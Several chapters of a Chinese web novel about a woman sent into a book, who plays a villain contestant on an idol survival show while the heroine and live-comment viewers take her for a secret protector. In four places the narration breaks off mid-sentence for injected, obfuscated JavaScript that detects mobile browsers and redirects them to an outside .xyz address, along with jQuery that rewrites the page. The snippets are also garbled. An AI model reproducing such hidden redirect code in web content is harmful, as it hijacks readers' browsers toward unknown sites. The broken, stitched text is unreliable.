她正用女主的背影洗着眼睛呢，温向晴却突然朝她看了过来，一时间四目相对，顾菀连忙挪开了视线。 温和的声音却传了过来：“唱跳要多练气息，你可以尝试着边跑步边唱歌，练多了就没问题了。” “……”顾菀花了一秒钟思考了一下如何应对，然后板着脸冷冷地回道，“你以为我不知道吗？” 又是熟悉的表情变化。 温向晴一副意料之中的样子，她学着顾菀的样子盘腿坐下，忍住笑：“你学舞蹈多久了？” “没多久。”顾菀只能打哈哈，心里一阵无语。 她倒是也想知道原身的底细啊，可惜原著里压根就没写。 温向晴点点头。 舞蹈这种东西不是一朝一夕可以成就的，需要的是日积月累的沉淀，顾菀的基本功非常好，一看就是有过长时间专业训练的。 尤其是昨晚她问过的问题有好几个都问在了点子上，让温向晴在教学的过程中也有了不小的收获。 明显，顾菀在隐藏实力，虽然不知道为什么。 顾菀不想再被追问，又把耳机重新戴上，继续练起了舞。 毕竟比起进度条的积分结算，还是她的任务线更重要，要是挺不进36强，任务会直接宣告失败，到时候她半点结算奖励都拿不到。 她尝试着放轻动作，控制着气息留给发声，练了一整天才勉强顺完一遍。 结果系统还是不满意：“宿主，你跳的是女团舞啊，你的青春活力呢？你的笑容呢？” 得，还要表情管理是吧？ 顾菀现在已经确信自己拿到的是S级任务了，她对着镜子重来一遍，气息不稳的时候，笑起来都是狰狞的。 “你确定粉丝喜欢看这个？”笑得比哭还难看。 一人一统一起琢磨了半天，一致决定把嘴角固定住上翘的弧度就够了。 顾菀照照镜子，虽然有一种无法言说的怪异感，但再看看边上练习的几个同学，还是能找回不少自信的。 她的目光在教室里兜了一圈，勤奋小标兵温向晴居然不在场。 还好她不在，自己好歹是个硬气人设，要是被女主看到了挫败的表情，那多丢人啊。 温向晴是专长舞蹈的，虽然声乐天赋也很强，但目前还处于待开发状态。 尤其是她听过了顾菀的唱腔，就更能感受到差距之大了。 为了备战次日的主题曲考核，教室里的人更多了，嘈杂的环境下，很难听出自己的问题。 宿舍里有一台公用的电子屏，可以供选手们自行使用，温向晴没多犹豫，径直回了宿舍。 好在其他三个舍友都不在，温向晴不由得舒了一口气，感觉自在了许多。 屏幕就安装在她的床位隔壁，温向晴调好了设置就坐回了自己的床位上，不经意撇过了顾菀的位置。 她离开教室的时候，恰好经过了顾菀。 也不知道是因为太累还是太难了，顾菀一直在边哭边跳，可怜兮兮地带着哭腔唱歌，偏偏还坚持着练习。 活像是个被妈妈逼着练琴的小朋友，脸上哭得稀里哗啦，拉琴的动作倒是一拍不停。 温向晴的脑中浮现起了顾菀笑着给她比赞的样子，脸上尽是天真烂漫，看得她心神微动。 她想了想，自己也没有什么好用的小礼物，便从包里翻出了一包水果糖。 这是她这一年来养成的小习惯，平时身上总会带着几颗，再难过的时候，只要吃一颗糖，心情总会好过一点。 她挑了两颗不同颜色的，分别用黑色记号笔在糖纸上写上“加”和“油”，然后放在了顾菀的床头。 希望能安慰到她吧。 顾菀是第二个回宿舍的。 她一直练到了晚上十点，练得口干舌燥、头晕目眩的，一看到大部队往回赶，便也回了宿舍。 宿舍的门板相对较薄，她还没开门就能听到温向晴的歌声。 原来是回宿舍练歌了啊。 温向晴的位置斜对着门口，见到开门的是顾菀，便礼貌性地微微一笑。 顾菀当即进入工作状态，她直接无视了女主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112515|179946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的示好，收拾了衣物就转身出去洗澡了。 还不忘把门甩出了巨响。 “系统，怎么样，刚刚宿舍的摄像头是打开状态的吗？”她辛苦工作的成果怎么可以不播出去呢？ “没有噢宿主，这段时间宿舍区的摄像头是需要自己主动打开的噢。” 顾菀一脸惋惜地叹气，没有让全国人民看到她凶神恶煞地摔门，也没有让全国人民看到女主眼中清泪欲坠，少说也有2点积分浪费了吧！ 选秀第一阶段即将完成的顾菀此时一身轻松，洗澡的时候还不忘享受，给自己反复搓了两遍才满意地离开。 结果一回宿舍，迎面而来一场大战。 温向晴坐在自己的床上，另外两个舍友就双手环抱立在她边上。 剑拔弩张。 “温向晴，宿舍是公共场所，我希望你有点公德心。”颜悠悠半点不像她的名字，排挤起女主来比她这个职业选手还要职业，完全不会悠着点。 虽然但是，如果在宿舍不能用设备，那节目组装这个屏幕的意义在哪里。 “没必要吧，在教室装装勤奋就算了，宿舍摄像头也没开啊。”王安琳瞥了一眼角落的摄像头，嗤笑一声。 勤奋怎么还能是装出来的呢，又不像做卷子一样可以抄抄同学的交上去，只要下苦功练了就是勤奋啊。 再说了，选秀这种非常时期，不就应该利用一切资源和时间去努力吗。 这两个人，真滴不行，逻辑漏洞百出，排挤女主果然还是要靠她顾菀上场。 “宿主，她们在第一个任务就抢走了你所有的台词。”系统小声评论道。 ？ 顾菀感觉自己宿舍老大哥的权威被挑衅了，她必须得做点什么来证明一下自己。 但她来的时机不算巧，一场戏都唱到尾声了。 温向晴低声说着抱歉，准备起身去把电子屏关掉。 “啪——”一声闷响。 一个黑漆漆的东西砸在了温向晴的怀里，看不清是什么。 “管好你自己，下不为例。” 顾菀沉着声音开口，语气肃杀到气氛直接凝滞住了。 王安琳和颜悠悠对视一眼就回了自己的床位，心下了然：果然顾菀是最讨厌温向晴的，所以说啊，人不能拿不该属于自己的东西，不然全世界都会讨厌她的。 这边，顾菀也对自己的表现很是满意。 刚刚事出紧急，手边一时间没有什么好道具，正好桌子上有个四四方方的小盒子勉强趁手，她就直接扔了过去。 怎么样？行为暴力不比语言暴力伤害更高？ 顾菀惬意地躺上了床，感觉自己一天的疲惫都得到了纾解。 手一摸，才发现枕头边上放了两颗不同颜色的糖。 亮晶晶的糖纸很是漂亮，估计是选管姐姐发吧。 她正好有些饿了，便直接拆开糖果就往嘴里送。反正她完成任务就可以走了，蛀牙什么的完全不用担心。 一颗橙子味一颗葡萄味，吃得心里也甜滋滋的。 6. 选秀第6天 嘬着水果糖的顾菀此时身心舒畅，她一边闭目养神一边和系统兴奋地讨论：“我准头还不错的吧，砸到她了，对吧对吧？” “可以的，给宿主点赞，温向晴本来没什么表情的，被你一砸都哭了。” “可惜摄像头没开，不然这波肯定能给女主拉来不少好感。”顾菀颇为遗憾地咂着嘴，突然又想起了什么，“系统，你不能帮我们开一下吗？” “抱歉哦宿主，系统没有这个能力呢。” 顾菀在脑内和系统相谈甚欢，王安琳也和颜悠悠聊得火热，只有温向晴这边，一直静悄悄的。 温向晴是真的在哭，只是她习惯了静默地掉着眼泪，就连吸鼻子的声音都微不可闻。 曾经，她也算是天之骄子，是命运的宠儿。 长相漂亮，家境优渥。 家里还没破产的时候，总有各种人和各种赞美围绕在她的身边，她曾经以为自己有数不清的朋友。 直到一年前，一夜之间，全都变了。 所有人都将她拒之门外，曾经的朋友对她冷眼相待，态度甚至不如一些好心的陌生人。 父母去世，法院清点走了他们所有的财产。 她一觉睡醒就失去了全世界。 咬牙熬过的这一年里，从没有人关心在意过她。 直到现在…… 温向晴静静地看着手中那个精致的小盒子，握在手中很有分量感，正中间刻着一个十分熟悉的logo。 她记得很清楚，这是市面上最贵的蓝牙耳机，和一年前她买的那个略有差异，估计是今年新出的款。 她的耳机是昨天坏掉的，为什么顾菀连这都留意到了。 明明是个喜欢对她摆臭脸的人，每次经过的时候总要偏过头去视而不见，教室里永远一副“耳机一戴，谁都不爱”的样子。 其他人至少会在镜头下表现得对她很友好，只有顾菀傻乎乎的，连装都不愿意装。 但她却是唯一一个向她伸出援手的人。 其实温向晴一早就发现了，顾菀是一个外冷内热的人，习惯板起脸来掩饰尴尬，内心却十分柔软。 刚认识的时候，顾菀就告诉过她，“只有站得够高，才有资格诉苦”；然后开始默默鼓励她，向人们力荐她，还把这么好的耳机送给她…… 温向晴擦了擦眼泪，换上衣服就去了教室。 她连上了蓝牙，戴上了耳机，突然感觉自己并不是一个人。 原本只是想随便混日子，赚点钱养活自己。 可现在不一样了，她要一刻不停地往上爬—— 因为，有人在顶峰等着她。 在女主被感动得热泪盈眶的时候，毫不知情的顾菀还在呼呼大睡，她甚至不知道自己是扔了个什么东西出去。 次日，养足了精神的顾菀不到六点就醒了，她换好了衣服，蹑手蹑脚就出了宿舍。 食堂还没有开门，她只好跑去楼下小店买面包吃。 现在正是四月份，清晨的风很是宜人。 顾菀拎着一兜全麦面包，突然就想起了温向晴昨天给她提的建议，说什么“可以边跑步边唱歌”。 现在这个气候，似乎很适合晨跑。 顾菀其实对运动几乎没有了解。 很小的时候，她曾经从山崖上跌落，肋骨断裂戳伤了内脏。 虽然最后小命被救了回来，但她从此被严禁运动，也不能有太大的情绪波动。 她就这样成了全班最“幸福”的人，免除了一切体力活动，也被剥夺了一切快乐玩耍的机会。 “宿主？”系统见她顿在原地，连忙催促着她，“没多少时间了，快去练习啦！” “哦哦。”顾菀回过神来，面无表情地叼起一块面包，朝教室的方向走去。 晨跑有什么好跑的，她可是女主的死对头，怎么可能会听温向晴的话呢！ 时间还很早，练习区静悄悄的，倒是D班教室隐隐约约能传出声音。 门一开，居然是温向晴在练习。 ……她该不会一晚上没睡吧。 就因为被她骂了？哭到一整晚不睡？ 顾菀敲了敲系统，让它翻出原著好好确认一下：“原著里有昨晚那段吗？” 系统的检索速度极快：“没有耶，前期文章节奏很快的，只写了她拿主题曲C位的剧情。” …… 完了。 该不会刺激过头了吧。 她记得温向晴昨天才刚刚通宵过，算起来，现在已经是连续待机的第三天了，这样下去身体肯定要跨。 到时候别说C位了，能坚持到不晕倒就算不错了。 她要是跳砸了，人气下滑这种必然结果就不用说了，最担心的是之后的一整段剧情都有崩掉的可能。 顾菀用自己的老年人作息推己及人了一下，顿时感觉不妙。 她皱起眉头，上前走了两步，语气都变快了：“你一整晚没睡吗？” 温向晴看到她进来了，但没想到她会和自己打招呼，怔了一下才点头。 “你这样不行。”顾菀语气果断，她指了指手里的面包，“一晚上没吃东西，对吧？” 她不等温向晴反应，直接把面包塞到了对方手里：“快吃，吃完就滚去睡觉。” 节目组给出的时间是整整48小时，每个教室里都挂着倒计时的电子钟，以此给选手们造成紧迫感。 顾菀又指了指墙上挂着的钟，严肃道：“你还可以睡四个小时，刚好两个睡眠周期，我提前半小时过去喊你。” 温向晴眨了眨眼睛，没有说话，像是在问她为什么。 哎，刚满18岁的小朋友果然就是小朋友，连劳逸结合都不懂。 顾菀的老社畜灵魂叹了口气，给温向晴解释：“你已经练得很好了，考核肯定没问题。现在要做的是养精蓄锐，保证一会儿能正常发挥。懂？” 作为一个金牌炮灰，即使是在说好话的时候也绝对不能表现出好的态度。 比如她现在就把尺度把握得很好，神情严肃，语气凶狠，态度嚣张，再附加一个人见人厌的“懂”字，把恶毒炮灰的形象体现得淋漓尽致。 果然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112516|179946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，温向晴垂下了眼眸，抿紧起嘴唇，像是在忍耐着什么。 但她最终还是屈服于自己的威压，乖乖吃完了面包回宿舍睡觉去了。 顾菀满意地看着女主走出教室，却听脑中的系统说道：“宿主，那个面包没必要给啊，你这样不是对女主好了吗。摄像头开着呢，会留下把柄的。” “不要在意这些细节。”顾菀语重心长地开始了经验之谈，“我们现在要做的是尽力挽回局面，目前最重要的就是要保证女主的发挥不被影响，能够按照剧情拿到C位。而且我刚刚是在强迫她按照我的想法做事的，你没看她后面都快哭了吗？” 这个炮灰系统刚被发开发出来没多久，真要算起来，工龄比她还短，不明白这些也正常。 她调出了程序里的“走红程度条”，果然增加的速度变快了。 肯定是因为观众都心疼了啊！ 反正明眼人都看得出来她在欺负女主，对吧？ 直接投入练习的顾菀并不知道，明眼人此时是如何地情绪激动： 【妈妈救命！我嗑到真的了！！啊啊啊啊姐妹们别睡觉了起来吃狗狼啊！】 【天，难怪阿晴考前还来通宵练习，原来人家是有后援保障的。一大早地跑来又是送早餐又是哄她去睡觉的，这就是姐妹情吧。】 【别！别说什么姐妹情，大胆点这是爱情！霸道御姐爱上小白兔，固晚向晴szd！】 【==弹幕里都是没进入社会的吧，不知道人心险恶。顾菀一会儿要是不去喊她起床，温向晴这次考核直接零分。】 【#斜眼，阿这，你以为选管是干啥吃的，到点了人家没来肯定会去叫的啊。】 【？什么，所以你的意思是阿晴已经这么相信菀姐了吗！我嗑拉了姐妹们，温顾这是什么神仙爱情！】 温向晴低着头，也没有人看得清她什么表情。 她轻手轻脚地走回宿舍，一直到躺好之后，用被子蒙住了头，被抑制许久的嘴角才终于翘了起来。 好梦一番后，她是被一双柔软的手轻轻推醒的。 身边萦绕着淡淡的馨香，一睁眼就是顾菀漂亮的脸庞。 这是十八年来第一次遇到这种情况，温向晴心中涌上了一股奇异的感觉。 “喂，到点了啊。”顾菀的身上散着热气，眼睛湿润，脸色微红。 一看就是刚刚训练了很久。 虽然脸上还是没什么表情，但温向晴就是觉得很可爱。 她揉了揉额角，让自己迅速调整好状态，然后微笑着抬起头来：“谢谢你。不过，你不叫我阿晴了吗？” “……” 顾菀顿时有些后悔。 原本以为只是简单的喊起床服务，没必要打开摄像头，没想到女主居然在和她套近乎。 如果摄像头是打开的，她此时就可以瞪回去，怒斥一句“没睡醒是吧”，然后摔门离去。 可惜没有。 不在上班时间的她下意识地挠了挠头，选择不接对方的话：“额，我走了啊，你快起。” 然后迅速离开了现场。 7. 选秀第7天 48小时的主题曲学习准时结束，101个女生齐齐聚在大教室里，准备开始单人录制与评级。 温向晴到得相对较晚。 她一出现在门口，导演连忙吩咐摄影师给她拍个长镜头。 初舞台上他就觉得这个小姑娘肯定能爆，可惜没什么舞台经验，喜欢躲镜头，拍摄效果一直不好。 这两天的训练视频他都有在看——48小时几乎都在练习，只要她主题曲评级能拿到好成绩，到时候剪出来的画面一定够热血。 至于她帮助同学的剧情线嘛，也是个品质闪光点，可惜对象是顾菀。 他可是一早就接到通知的，顾菀的画面能不剪进去就不要剪。 所以还是算了吧！ 教室中央摆了好几台拍摄仪器，是要给选手们录直拍视频的。 拍完后不加修饰，会直接在各大网站上传，当作第一期节目正式播出前的预热。 这次主题曲考核会是一次重新评级，本身就非常值得重视。 结果选手们在考核当天还突然被告知，需要按照初评级顺序分成二十组，一组一组地跳，顿时就更紧张了。 “妈妈耶，怎么可以这样，没有对比就没有伤害啊。” “我凉了，和我一组的姐妹幸福了。” “我们C班就不在怕的，就当是又一次一起训练了嘛。” 听完规则，台下的选手一个比一个配合，纷纷牵起身边同伴的手，或哭诉或安慰，努力缓解自己的紧张感。 每每这个时候，顾菀都会无比真实地感受到选秀节目本质上就是一档综艺。 没有综艺感的她只觉得自己格格不入。 不知道为什么，王安琳又跑来cue她了：“顾菀，我好慌啊！五个人一起跳，要是出错了就太尴尬了。” “不然呢？一个一个跳的话我们起码要录六个小时。现在缩短了四倍你不应该开心吗？”顾菀略带疑惑地看向她。 好了，清净了。 王安琳转身就去找别人说话了，这应该是她最后一次cue自己了吧。 现在正好上午，直播间的人也不少，基本上只要是人气稍高的选手说话了，就会有成片的弹幕讨论： 【哈哈哈菀姐分析得有道理！录太久我等你出场也会等得很累的QAQ】 【确实，你主子毕竟D班的嘛，按顺序排那不就是倒数的嘛QAQ】 【顾怼怼：能不能早点下班啊，阿晴昨晚通宵了啊！又是嗑到了的一天呜呜呜】 【？菀姐提都没提某人，cp粉怎么还上赶着来呢？】 【#白眼，低情商都有人捧啊，你们跳广场舞的都这么没礼貌吗？】 站在角落划水的顾菀从没想过自己会有被打上“御姐”tag的一天。 她只是习惯了心平气和，很难有什么情绪波动。 分组是一早就安排好的，等节目制作人何尧公布完规则后，主题曲考核便直接开始了。 打头阵的两组是A班的，尽管有几个是靠着大Vo或者rap进的，但综合素质并不差，因此整体表现还不错。 等轮到B班后，断层就明显了起来。 顾菀面无表情地观察着，在心里粗略估算了一下：101个女孩应该只有一小半是表现出色的，大多数人都有着各种各样的问题。 唱歌岔气的、忘词的、跳错动作的，严重一点可能会有一整段的空白，甚至还有几个心态崩了干脆不继续跳的。 不得不说，小组考核是个挺能拉开差距的考核模式。 总有一些跳得特别好的，能把队友心态跳炸；也会有些跳得差但又充满自信的，能把队友带偏。 由于收音是麦克风分线传出去的，顾菀倒是听不出调子上有多少问题。 不过按照舞蹈来看，她只要完整跳完，应该能拿个B吧。 毕竟是女主帮她抠的舞呢。 正想着，她就被喊去准备了，下一组轮到她。 她和温向晴被分到了同一组。 一个在第五个，一个在第一个。 虽然跳得时候隔得稍远，但候场时，温向晴就站在她的侧前方。 温向晴似乎有些出神。 她的脸上虽然挂着笑容，但头微微低着，看起来很是谦逊的模样。 但从顾菀的角度看过去，能清楚地看到她放在身后的手攥得紧紧的。 女主该不会是还没调整过来吧。 顾菀一时间有些担心。 为了确认温向晴的状态，顾菀小步向前蹭了蹭，努力斜着眼睛往她脸上看。 脸色泛白，光洁的额头好像都有些湿润。 可能是太紧张了。 顾菀在心里下了结论，立马称职地解决了起来。 她不方便和温向晴靠得太近，只好用正常音量说话：“别怕，你肯定没问题。” 温向晴原本还沉浸在回忆里，顾菀的话语一下子就把她拉了出来。 她转过头来看向顾菀时，对方早就板着脸开始直视前方了，但她攥紧了的拳头不由得放松了许多，就连脸上的笑容也更加真诚了。 “好。”温向晴点点头，含光的眼眸看向顾菀秀气的鼻尖，“没事的，我有你一起。” 【行了行了知道你们在一起了！答应我，节目一结束就去领证，好吗？】 【别等结束了，我是民X局！我自己飞过来了！！】 【菀姐太可爱了，安慰老婆都不敢看老婆，妈妈我今天回不去了，我嗑固晚向晴嗑疯了。】 【#额，姬眼看人姬是吧，弹幕是从小到大没被人鼓励过吗？好朋友说句话都成了爱情？】 别说组cp了，顾菀压根就没想过自己和温向晴是朋友。 她刚刚只是为了剧情服务，毕竟原著里的炮灰估计没有她这么恶毒，不会把女主搞到心态炸裂。 因而，她听了温向晴的话只是觉得莫名其妙—— 不过话也没说错，她俩确实是同一组。 可惜了，她这次为了能晋级，不能跳得差一点来衬托女主了。 上场时，顾菀没办法看到温向晴的表演，不过最终公布的结果是A，她终于能舒一口气了。 温向晴就站在顾菀的边上，隔着半个人的距离。 她听到结果时还没有什么反应，转过头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112517|179946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到顾菀一脸“终于放心了”的样子，却开心地笑了起来。 甜甜的笑容击中了屏幕前一片好汉。 至于顾菀，如她本人所料，拿了个B。 看来她的估算不错，毕竟她确实是完整跳了下来的。 系统却似乎不太满意：“我就说了吧，你笑得太僵硬了，不好看。” “……”顾菀无语，“你还记得我只是个36强的炮灰吗，太亮了会挡到女主的光的。” 就在她和系统插科打诨的时候，舞蹈导师徐敏已经结束了工作，准备从后门离场。 出门前，她习惯性地回望，一不留神就扫到了顾菀。 温向晴和她站在一起，两个都是漂亮女孩，没办法不惹眼。 此时，一个笑得满眼都是阳光，一个却在发呆。 初舞台的时候，她就留意到了顾菀。 一个被挡在最后、没有任何展示机会的舞台背景板，她原本想让她来点才艺展示，可惜简历的折角处被明显标注了一个叉。 明明是个很不错的姑娘，投资方就是不肯给机会，连主题曲考核也是看在做不了假才给的B。 至于温向晴，训练时看着很有灵性，录制一开启，整个人的气质就变掉了。 能看得出来在努力克制，但低迷和闪躲还是持续了全程。 偏偏导演想压这个宝。 看导演的架势，就连C位也大有给她的意思。 不过她说白了就是来打工的，也没什么办法。 徐敏在心中叹了口气，关上门离开了。 随着C位竞争的结束，主题曲考核也全面落幕了。 节目组给了她们两个小时的午休时间，午休结束后，就要前往MV录制场地了。 听说为了能呈现出完美的最终效果，她们至少要录五十次。 看来今晚是通宵预定了。 顾菀浑浑噩噩地走回宿舍，在心中呕出一口血。 更让她消沉的是，温向晴居然没有拿到C位。 C位是在A班11个同学中选出的。 每个竞争C位的同学都要把同一片段跳一遍，加入自己的小巧思，设计出C位的独有动作，然后让所有其他选手投票。 她抓破脑袋也想不到，温向晴居然没有竞选C位。 女主，你怎么了女主，能不能不要辜负他人的努力啊。 你身上承载着一个炮灰的期待（积分）你知不知道？ “总归是温向晴自己放弃竞选的，她要是想拿肯定能拿到，剧情应该不会崩。”炮灰系统出声安慰她。 顾菀坐在自己的床上，哀怨地拿起了一颗床头放着的水果糖。 选管姐姐今天送的是草莓味的，有点酸，下次碰到的话要和她说说自己不喜欢这个味道。 刚剥开糖衣往嘴里送，就看到温向晴也到宿舍了。 她看着自己吃糖的样子，莫名其妙地笑了出来。 笑笑笑，有什么好笑的。本打工仔起码因为你少了10点积分！ 故事线出现了第一次偏离，顾菀的心情实在有些烦躁。 她扭过了头，没有理会温向晴。 8. 选秀第8天 没过一会儿，王安琳和颜悠悠也到了。 顾菀犹豫了一下，不知道要不要走，毕竟她现在没有做任务的心情。 很可惜，舍友的嘴还是快了她一步： “拿到A有什么好开心的，还以为拿了C位呢。” “别这么说啦，人家连举手的勇气都没有欸。” “平时看起来很厉害的样子，结果还不是被淹没在人群里。” …… 其实顾菀不喜欢自己的工作，尤其是碰到这种情况时。 如果是穿到正剧里倒也无所谓，她最怕的就是现在的剧情了。 古早玛丽苏言情里，永远不会缺降智女配。 设立一万个没脑子的反派，一面突出主角的光辉形象，一面让他们轻轻松松打怪升级。 被当成小怪来打她都不在乎了，但这种情况下她难免需要听到很多负能量的话语。 她知道温向晴以后会有光明的未来，会打所有人的脸，会用魅力征服全世界；但她现在听着这些不好听的话，依旧会觉得不舒服。 “宿主，这只是个任务。”系统及时制止。 顾菀撇撇嘴，脱了鞋就爬上了自己的床，打算不问世事：“我知道，我就是觉得奇怪。女主都那么牛叉了，为什么还要设定出那么多傻子来撞枪口呢？遇强则强、齐头并进不香吗？” “那是新时代流行元素了。”系统笑眯眯，“我明白了宿主，下次给你选一篇团宠文。” “？不用，谢谢，打死不做女团了。”顾菀把被子一卷。 和系统拌几句嘴的功夫，宿舍里就安静了下来。 温向晴好像一句话就没说就走了，其他两个舍友也在各干各的事情。 顾菀想了想，还是给她们提了个醒：“她没拿C位只是因为她不想拿。不要去招惹她，没有好下场的。” 这是她对同僚的忠告。 毕竟她这个带头的人都被女主的未来男朋友搞退赛了，其他两个估计也不会在圈内有好日子过的。 更何况，这是女主第一次错失c位，也是最后一次。 之后每一次，她必定都会以夺目的光彩，笼罩住整个舞台。 “我知道，我就是酸嘛！”颜悠悠小声地在说些什么，语气里居然真的带了委屈，“你说凭什么禹修……” 声音越说越小，小到后面根本听不清了，顾菀竖起的耳朵也兴致缺缺地耷拉了下来。 宿舍老大哥调整了一个舒适的姿势，打算好好补个午觉。 顾菀不知道的是，那未经刻意压低的声音，透过薄薄的门板，清晰地传入了温向晴的耳中。 温向晴刚刚走得太匆忙了，现在想回来拿耳机，却没想到居然会听到这种话。 原来，在她不知道的地方，顾菀是这样地维护着她…… 这样地，用着一贯没有感情的声线，警告着那些欺负她的人…… 汹涌的感情与澎湃的心潮横冲直撞而来，温向晴艰难地张了张嘴，才勉强止住了呜咽声。 父母投资失败后欠下一屁股债，然后双双自尽，留下她一个人面对那么多难题。 即使有公检法的保护，但想在这场大案里挖出更多爆料的记者却无孔不入，漆黑的镜头就像是一口随时可以吞没她的巨兽。 那时候她还未成年，独自一人担惊受怕，顶着报刊大叔的白眼把每一份报纸都翻过一遍。 她在亲戚家受尽冷眼，出来打工却又时不时会因为长相太过漂亮而被顾客戏弄。 星探找上门时只一个劲儿地吹，哄着她签下合同后却暗示着要带她去见某个“靠山”。 她拒绝了所有陪酒的机会，利用几个深夜，在空旷的公园里临时排练出了初舞台节目，却在走向台前、直面摄像头的那一刻，开始发抖。 然后把一切搞砸。 其实她们也没有说错，她是真的不敢去争C，不想去争，也争不到。 面对那深渊巨口，所有被深深刻在脑子里的细节动作，都会瞬间遁逃得一干二净。 她是一个可悲又可笑的懦夫，却在即将溺死的前一刻，被一把拉住了。 是顾菀向她伸出了手，稳稳地拽住了她。 不断鼓励着她，无条件相信着她，甚至直接站在了她的身前，挡住那些恶意，用坚定的语气告诉所有人—— 她是有人护着的。 温向晴的双手捂住了脸，泪水不断地从指缝间溢出。 她的脑中回荡起了考核前顾菀对她说过的话—— “别怕。” 清冷的声线下蕴藏着无尽的温柔，让她的心中逐渐充满了勇气。 “阿晴，你一定要加油，不能让她失望呀。”温向晴抹了把泪，感觉身体又恢复了力量。 她面容坚定地朝练习室走去，在这个所有人都在休息的时候，她依旧不应该松懈。 导演的目光向来狠辣。 温向晴真的是个爆火体质。 尽管她今天的主题曲考核没有发挥好，上传的视频依旧冲到了热度第一，成为《创星101》官方微博上第一个破万转的直拍。 现在投票渠道也没开，被虐惨了的粉丝只能反复在官博做数据，希望能把爱与安慰传达给她们心疼的女孩。 【家人们我真的破防了。其他人都回宿舍了，就她中途跑回了教室，现在在对着镜头反复跳主题曲#大哭#大哭】 【日日日#大哭她站在宿舍门外哭了好久不敢进去！我跟着哭傻了。分享视频：xxxx】 【她一直都对自己要求很高的。48小时里就睡了五个小时，明明已经把细节抠到完美了，结果发挥失常#大哭她该有多难过啊。】 【额#擦汗，好好的觉不睡，发挥失常不是很正常。还不是死要镜头活受罪。要不是顾菀劝她去睡觉，说不定连A都拿不到。】 【歪屁股多担能不能滚出去？至少她在努力拼搏，不像你只会用键盘打打字。】 【天天gwgw地#呕吐，能别ky了吗？这是你晴姐的直拍。再说风凉话祝你真煮卡12哈。】 下午，官网直播暂时关闭。 因为101个女孩们要外出录制主题曲MV ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112518|179946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 毕竟是国内引进的第一档新型选秀综艺，导演是卯足了劲要把它做得尽善尽美的。 除了摄影棚外，还安排了外景拍摄，一看就是下了大手笔。 节目组包了三辆大巴车送她们过去。 A班和B班被分到了同一辆车。 顾菀站在一个较为空旷的位置，等着被安排到上车。 温向晴突然就钻了过来：“顾菀，一会儿我站A班末尾，你站B班第一好不好？我们刚好可以坐一块儿。” ……姐姐，我现在站这么后，你是希望我插队吗。 “不好。”顾菀语气冷淡。 “唔，好吧。”温向晴的语气里似乎有些失望，“那我就站这边，到时候和B班同学一起上车好了。” “阿晴！”A班的负责老师远远地冲温向晴招起了手，“A班来这边集合噢。” 毕竟她一个穿着粉色上衣的女生，站在一堆蓝色里还是非常明显的。 温向晴连忙应了一声，却仍是留在原地，继续问道：“那一会儿跳主题曲，我可以站你隔壁吗？A班和B班刚好有个交界呢。” ……姐姐，这个不是我们可以决定的，一切听安排谢谢。 “不可以。”顾菀语气依旧冷淡。 温向晴咬了咬嘴唇，还是不愿放弃：“可是，MV拍好之后就是永远的回忆，我想……” 她想和顾菀一块儿出镜，这样她以后没事就可以多看几眼，想顾菀了也可以多看几眼，甚至还能截图做成屏保什么的，成为她们美好过往的见证。 想什么倒是说啊？ 顾菀无语，为什么她觉得女主突然变得有点奇怪。 她瞥了一眼没看出什么大碍，只好又瞥了几眼。 好家伙，这眼睛怎么红红的，又被她们弄哭了？ “系统系统。”顾菀紧急呼叫，“男主到底什么时候上线啊，她这样一天到晚被搞心态，男主再不来救她，她铁定要出局。” “禹修翊好歹是演艺圈的，你们现在被关在里面，怎么可能进得来。”系统掰了掰不存在的手指，“三公还有一个月，哎呀，一个月很快的。你应该多考虑考虑自己，不要整天女主女主地。她不会有问题的，有女主光环罩着呢。” “想点开心的事情？等男主出场了你这个任务就能结束了噢。” 禹修翊就是这个世界的男主，一个比霸道总裁更霸道的影帝，大半个娱乐圈都是他的迷妹。 虽说女主最终C位出道、成为娱乐圈顶流确实是凭借自身的天赋和努力的，但男主在其中的鼎力相助也是不可或缺的存在。 顾菀一直没有太在意男主的剧情。 不过她现在翻着原著倒是突然想起了什么。 这个名字，她今天是不是在哪里见过…… 